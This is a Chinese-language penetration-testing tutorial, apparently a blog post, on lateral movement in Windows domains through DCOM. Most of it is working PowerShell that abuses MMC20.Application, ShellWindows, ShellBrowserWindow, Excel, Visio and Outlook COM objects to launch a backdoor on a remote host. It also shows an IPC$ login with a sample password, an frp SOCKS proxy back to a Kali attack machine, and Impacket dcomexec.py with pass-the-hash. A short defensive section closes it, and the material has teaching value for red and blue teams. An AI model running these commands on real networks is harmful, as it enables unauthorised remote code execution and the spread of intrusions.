*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
COM
COM即组件对象模型(Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。
一般的对象是由数据成员和作用在其上的方法组成,而组件对象和一般对象虽有相似性,但又有较大不同。组件对象不使用方法而用接口来描述自身。接口被定义为“在对象上实现的一组语义上相关的功能”,其实质是一组函数指针表,每个指针必须初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。
DCOM在远程系统的使用
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求
COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95及之后版本的操作系统中)。DCOM是COM(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。DCOM使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管COM服务器端的软件(通常在DLL或exe中)可以通过RPC向客户端公开其方法
攻击者在进行横向移动时,如果要在远程系统中执行命令或Payload,除了会使用at、schtasks、Psexec、WMI、smbexec、Powershell、通过Office应用程序以及包含不安全方法的其他Windows对象远程执行命令,还会使用网络环境中部署的大量诸如IPS、流量分析等系统。多了解一些横向移动方法,对日常的系统安全维护是大有益处的。
使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。例如我们滥用ShellBrowserWindowCOM对象,那么就会在远程主机的现有explorer.exe进程中执行。对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向DCOM公开方法,因此防御者可能难以全面监测所有程序的执行
通过本地DCOM执行命令
1、获取DCOM列表
有两个命令,其中一个命令是只支持psh3.0,即windows server 2012以上
Get-CimInstance Win32_DCOMApplication Get-CimInstance -classWin32_DCOMApplication | select appid,name
另一个命令支持psh2.0
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
win7下
win server 2012
其实网上很多都是获取DCOM列表,然后就用一些MMC20等执行,细细一想,其实查询DCOM这步其实没有什么用,我猜测,查询DCOM列表的目的是找到合适的DCOM组件,然后查询它是否有命令执行或者一些其他什么功能,但是我无法通过DCOM查询到CLSID或者是ProgID,所以没法判断DCOM能够执行什么功能
2、使用DCOM执行任意命令
首先要一个管理员权限的shell
出现这样的情况就是,没有管理员权限
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
此命令是获取一个COM对象的实例,如果获取成功,可以使用命令查看用法
$com.Document.ActiveView | Get-Member
可以看到一条命令执行的
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
如果成功执行,则会打开计算器(calc.exe),如果将程序换成其他恶意的payload则可以造成攻击
win7:
win10:
除了MMC20.Application,还有ShellWindows、ShellBrowserWindow、Excel.Application以及Outlook.Application等等都可以为我们所利用。
我们通过MMC20.Application的ExecuteShellCommand方法在本地运行了一个“计算器”程序。如果我们提供一个远程主机的IP,便可以使用
[activator]::CreateInstance([type]::GetTypeFromProgID(ProgID,IP)) [Activator]::CreateInstance([Type]::GetTypeFromCLSID(CLSID,IP))
命令通过Powershell与远程DCOM进行交互,只需要提供DCOM ProgID和对方的IP地址,就会向对方提供该DCOM对象的实例,然后就可以利用这个DCOM应用程序和ExecuteShellCommand方法来在对方目标主机上执行命令了。如果攻击者把“计算器”程序换成恶意的payload,就会对系统安全造成威胁。
使用DCOM在远程主机执行命令
前提:
1.需要关闭系统防火墙
2.必须拥有管理员权限
测试环境:
攻击机
kali:192.168.200.4
域内环境
win7:10.10.10.17、192.168.200.22
windows server:10.10.10.12
1、控制win7
假设控制win7作为跳板机,将shell反弹到msf
加载powershell拓展,以便使用powershell命令
2、通过ipc$链接远程主机
如果想要通过IPC上传文件到目标机器,那么这里就需要与管理员权限的用户建立连接
net use \\10.10.10.12 "Gh0st1nTheShell" /user:g1ts.com\testuser
3、上传后门到目标主机
使用copy命令
copy [file path] [target path]
4、执行命令
(1)调用MMC20.Application远程执行命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.12")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\hhh.exe","Minimized")
可以看到成功返回了一个新的shell
(2)调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.12") $obj = [System.Activator]::CreateInstance($com) $item = $obj.item() $item.Document.Application.ShellExecute("cmd.exe", "/c c:\hhh.exe","c:\windows\system32",$null, 0)
第二个命令同样可以
以上这两种方法均适用于Windows 7~Windows 10、Windows Server 2008~Windows Server 2016的系统。
并且无论是否事先建立ipc连接都可以成功执行命令,也就不需要对方主机的凭据,只只需要当前主机的管理员权限即可。
调用Excel.Application远程执行命令
# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例: $com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","10.10.10.12")) $com.DisplayAlerts = $false # 然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程: $com.DDEInitiate("cmd.exe","/c C:\hhh.exe")
但是我运行失败
调用ShellBrowserWindow远程执行命令
适用于Windows 10和Windows Server 2012 R2等版本的系统
# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例: $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","10.10.10.12")) # 然后执行如下命令,我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程: $com.Document.Application.shellExecute("C:\hhh.exe")
成功上线
调用Visio.Application远程执行命令
适用条件:目标主机中安装有Visio
# 通过PowerShell与DCOM进行远程交互,创建Visio.Application对象的实例: $com =[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application",“10.10.10.12")) # 然后执行如下命令,我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程: $com.[0].Document.Application.shellExecute("c:\hhh.exe")
调用Outlook.Application远程执行命令
适用条件:目标主机中安装有Outlook。
通过Outlook创建Shell.Application对象来实现命令行执行
# 通过PowerShell与DCOM进行远程交互,创建Visio.Application对象的实例: $com =[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","10.10.10.12")) # 然后执行如下命令,通过Outlook创建Shell.Application对象并执行命令: $com.createObject("Shell.Application").shellExecute("C:\hhh.exe")
Impacket -- dcomexec.py
首先先创建socks5代理,使用frp
frpc和frps内容如下,其中,frps地址为192.168.200.4
frps: [common] bind_port = 7000 frpc: [common] server_addr = 192.168.200.4 server_port = 7000 [plugin_socks5] type = tcp remote_port = 6000 plugin = socks5
然后配置proxychains,先在/etc/proxychains4.conf中最后面配置代理
然后在执行命令前输proxychains
python3 ./dcomexec.py [domain/]username:password@ip //创建一个交互式shell python3 ./dcomexec.py [domain/]username:password@ip command //执行命令
如果没有明文密码,也可以用哈希代替
python3 ./dcomexec.py [domain/]username:@ip -hashes [hash]
注意
1、输入的用户信息是根据当前已登录的用户,比如我现在登录的是administrator,如果我输入的用户信息是testuser,那么即使通过验证也无法执行命令或者返回shell
2、登陆的用户需要是管理员权限,如果是普通域用户,登陆没有权限,被拒绝
更多方法
https://www.anquanke.com/post/id/215960
如何利用导出函数和暴露的DCOM接口来实现横向渗透 - 安全客,安全资讯平台 (anquanke.com)
不一定需要有命令执行才可以横向移动,有一些方法依然可以达到同样效果,需要发挥攻击者的创造力
防御建议
厂商
1、确保卸载实用软件时,删除遗留的DCOM注册表项;
2、不要在注册表中创建指向并不存在的二进制文件的DCOM程序路径。
网络防御方
1、总的说来,防御方应该认真阅读@enigma0x3以及@PhilipTsukerman在博客中给出的建议,针对性地捕捉相关IOC;
2、想使用这些DCOM方法(通常)需要远程主机的特权访问。请保护具备高级权限的域账户,避免本地主机账户复用密码凭据;
3、请确保部署了深度防御控制策略、基于主机的安全产品并监控主机,以检测/阻止可以活动。启用基于主机的防火墙可以阻止RPC/DCOM交互及实例化操作;
4、监控文件系统(以及注册表),关注新引入的元素以及改动;
5、监控环境中可疑的PowerShell操作。如有可能,请强制启用PowerShell的“Constrained Language Mode(约束语言模式)”(这对特权账户来说可能有点难);
6、在DCOM调用“失败”时,目标主机上的System日志中会生成ID为10010的事件(Error, DistributedCOM),其中包含CLSID信息。